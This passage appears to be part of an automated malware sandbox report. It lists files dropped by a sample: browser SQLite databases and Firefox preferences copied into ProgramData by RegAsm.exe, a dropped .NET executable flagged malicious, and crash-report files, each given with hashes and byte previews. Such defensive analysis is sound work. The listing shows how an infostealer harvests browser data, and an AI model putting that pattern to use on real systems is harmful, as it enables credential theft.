Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\AAFBAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\DAAFBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\DAECFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\FHIIEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\FIJECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\IIEBGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\IIEBGI-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\JDHJKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCGCAAKJDHJJ\JKEGDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\JKJDBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJ\JKJDBA-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKECFCFBGD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.988262547218366
Encrypted:	false
SSDEEP:	6144:lrajaPeAu827HzFo/cSHh5zbc/yj43AUq6De4oDEKYEO:9iTFUcSh5zYG4g6D2DE5EO
MD5:	94C5ABD0ECCD77846B4E0F641906BB19
SHA1:	3FB0119C89952F61AEE14ABBE693A293EE916439
SHA-256:	863C177542F93D6E42BA2DC7633CEC75DA9515C39ED13915F63E9361F5CF7A6B
SHA-512:	4BBFCE9F805C755380FF18CECC5A6CFEB9AEADF7140D5C612FCA44CFF923B57507AB01BD2B2F1389A97C0B3B41737E16732330980A9E3B02898B2C1271C7EAE9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...().f............................^.... ........@.. .......................@............`.....................................K.......................(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......p...h...............................................................t...8;/.".k..L.`R...4[{I.A..![....(._...g.*2.F3.+...r5.A_..=..s...d.4i./q..I.ZK.}.H......r0ID....M.-4.y.r...c1.IH3....&......o.~.@T..D...... .M1.....2......g~.....q...&C...Ij..oi....cT..'...c+...+.MP.P..c.....~....=...-....\"..`......]5..>.....8}Bo..@G...v..d.\|j.C.}.{.(.v....~.........l./.<....!v4.d.I...[7w...C...$.STW........Y...%..)'w.W?..Ai...@v.S]..D.....@....!%..O..../..8%.=..

C:\ProgramData\KFBFCAFCBKFIEBFHIDBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFCAAKF

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073777258926766
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvre:KooCEYhgYEL0In
MD5:	21F1534D082AB55D82566B881A98D7F6
SHA1:	9DD2016544075033E100DACC93502D48F9971578
SHA-256:	193A838DBA326A51F22573F7963637B995776024878DA2B970AB97013C86DF58
SHA-512:	52735A71D079C35DA818477EF6BF39D23EEC4531749720D26656A3A1D54600C8A4A8AC51300B66DABB4076C4806D270F525904457724612C7725DF3EA35F96E3
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1be6694c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221206554992674
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	FF3BD0D98D3A167C1398CBF7191DD64F
SHA1:	D29F62119549A3D61DD981C17186880F745CC41A
SHA-256:	87503B834FBDD9624BAF46B41479595463DA548BF7DBDBE2E5E3E1941C4346CD
SHA-512:	848573911F3F24196B201E5590739BB2458E892427430BC19526A9FCF1F0F45DFAF3231D9945F1E7F2BE7BEE33F5BFB02B4BF2BC4EBF91A8F42700D7E6227C73
Malicious:	false
Reputation:	unknown
Preview:	..iL... .......A.......X\...;...{......................0.!..........{A.4....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................6/w@4....\|..................U...4....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07600904303672266
Encrypted:	false
SSDEEP:	3:X1KYem3CCjn13a/wROzqllcVO/lnlZMxZNQl:X1Kzy53qkseOewk
MD5:	A596F282EB784C70DB3BE719082AAF7B
SHA1:	2F9770C1FB8CBB099C5338D3640A2D7B84685604
SHA-256:	1CD89F732DEAC4EFCCEBA36D63CBF01724267A41C15BD9BC784B5368A9FF0279
SHA-512:	00324A51DDAB9BAE3A77CE6836E412ECAEB5B7F20FDC12100247E87232696818B9F1A68A7DCE19DEBF7E8752FCECFEA84091A90479AD6201EC99C0A21E0E57CE
Malicious:	false
Reputation:	unknown
Preview:	fZY......................................;...{..4....\|.......{A..............{A......{A..........{A]................U...4....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Kra4UjTOv3M2ogVW_98b1f4ade41c31d4ffb3f99cfc9078bd1fff42_91b94adc_c320cdd1-c2df-4d25-983b-5f2bae26c970\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9183610211151981
Encrypted:	false
SSDEEP:	192:2ePnwlafzB+2RK6s0BU/aaG3qzuiF6+Z24IO8L1:glafV+2sKBU/aauqzuiF6+Y4IO8L1
MD5:	62AE72370B016F81FB45F1327E477CC3
SHA1:	A160ABBF76C4C2957A71A9699477E12CA5F60CB9
SHA-256:	57F0F1CCBFF06181A41655C17A783C2AD19689B5B67F4C9C033AC4587CE6C6D7
SHA-512:	B03F8206A7483C37B3585A1070C86DF7B30ABB160CA463481E7E30B110F62344D14D42CFBBFD34832967608428717454786170EFD038701062795CD09DD2875B
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.5.3.8.1.6.8.4.4.2.3.8.4.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.5.3.8.1.7.1.9.3.7.7.4.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.3.2.0.c.d.d.1.-.c.2.d.f.-.4.d.2.5.-.9.8.3.b.-.5.f.2.b.a.e.2.6.c.9.7.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.9.6.9.e.f.b.6.-.f.a.b.3.-.4.7.a.5.-.b.a.3.9.-.2.7.b.5.2.c.8.f.9.8.7.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.r.a.4.U.j.T.O.v.3.M.2.o.g.V.W.T.G.9.T.X.v.Y.P...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.l.u.e.S.a.p.p.h.i.r.e._.p.o.r.t.a.b.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.9.8.-.0.0.0.1.-.0.0.1.4.-.0.7.f.8.-.7.3.0.f.5.6.0.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.a.8.b.5.9.3.0.3.e.d.a.e.d.8.e.f.c.c.b.1.9.6.b.7.9.a.4.b.8.6.c.0.0.0.0.0.0.0.0.!.0.0.0.0.8.c.2.4.b.6.f.0.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER925B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 11 14:22:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	189234
Entropy (8bit):	4.060332269613434
Encrypted:	false
SSDEEP:	1536:BAAlIb93uBojRypN4uE2aON6QLTgz+UNQAhCB1uBAgnQ4AjeeU4+CD3tTQ:BAAEU4uEqN6QLTgapAEB0ZnQ4Aaedd0
MD5:	DDB92FD8386CBE28F60EB0F576819191
SHA1:	74C3F88B71E7CEC4C3C7B75EC6644CA4038C46D0
SHA-256:	7B0BB5E95A11B14DB952874F665E8FF002BF139EBF6C7FA96E19BD4BB37074E4
SHA-512:	335B22625C660924B1A547553DD3F61095DEEB704D9E3D179AD6A5773A8D5E61872A1A0353EA6F88B3192E09A2022D8ECC6A8C8C94D85C8164705AC7C6BE3EC0
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ..........f........................4...........$...........t ..F8..........`.......8...........T............"..J.......................................................................................................eJ......t.......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9664.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8464
Entropy (8bit):	3.7048855969501644
Encrypted:	false
SSDEEP:	192:R6l7wVeJjL6Ciob6YjYSU0XVgmfZBdUqpr889bPNsf+ulm:R6lXJP6Ciob6Y8SUWgmf/dUuPGf6
MD5:	416D7BD166B7AA904793F0056B281C73
SHA1:	7198B47E3D51337FD82E3F807DFAF58F6F5930B1
SHA-256:	6DF591B1155341B3C72F2C703F98BF71642E25EA114FE89873A912E0C395B1A5
SHA-512:	88B84AAEAC043F45190A9113818CA008DC595ADE8299660C977A67B7D32061BFA95CDC609118AFC4B15944802A16B695A5EA1E6DAD727D579B2B52909CB5BB3F
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.2.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96B3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4858
Entropy (8bit):	4.562954672065415
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZJg77aI9H0WpW8VYppYm8M4JrB2Fa9+q8v5BGqUn8iZd:uIjfrI7Ft7VPJ79KmqUn8ud
MD5:	7AC2100A0E477DC349E50B006C0AD72E
SHA1:	052A23F3572ADC12B25F235581AD075AA0DA071E
SHA-256:	73D8054ABDAAF0069142542AE223A7D7358047180429D40F2A3F1C34FA505F58
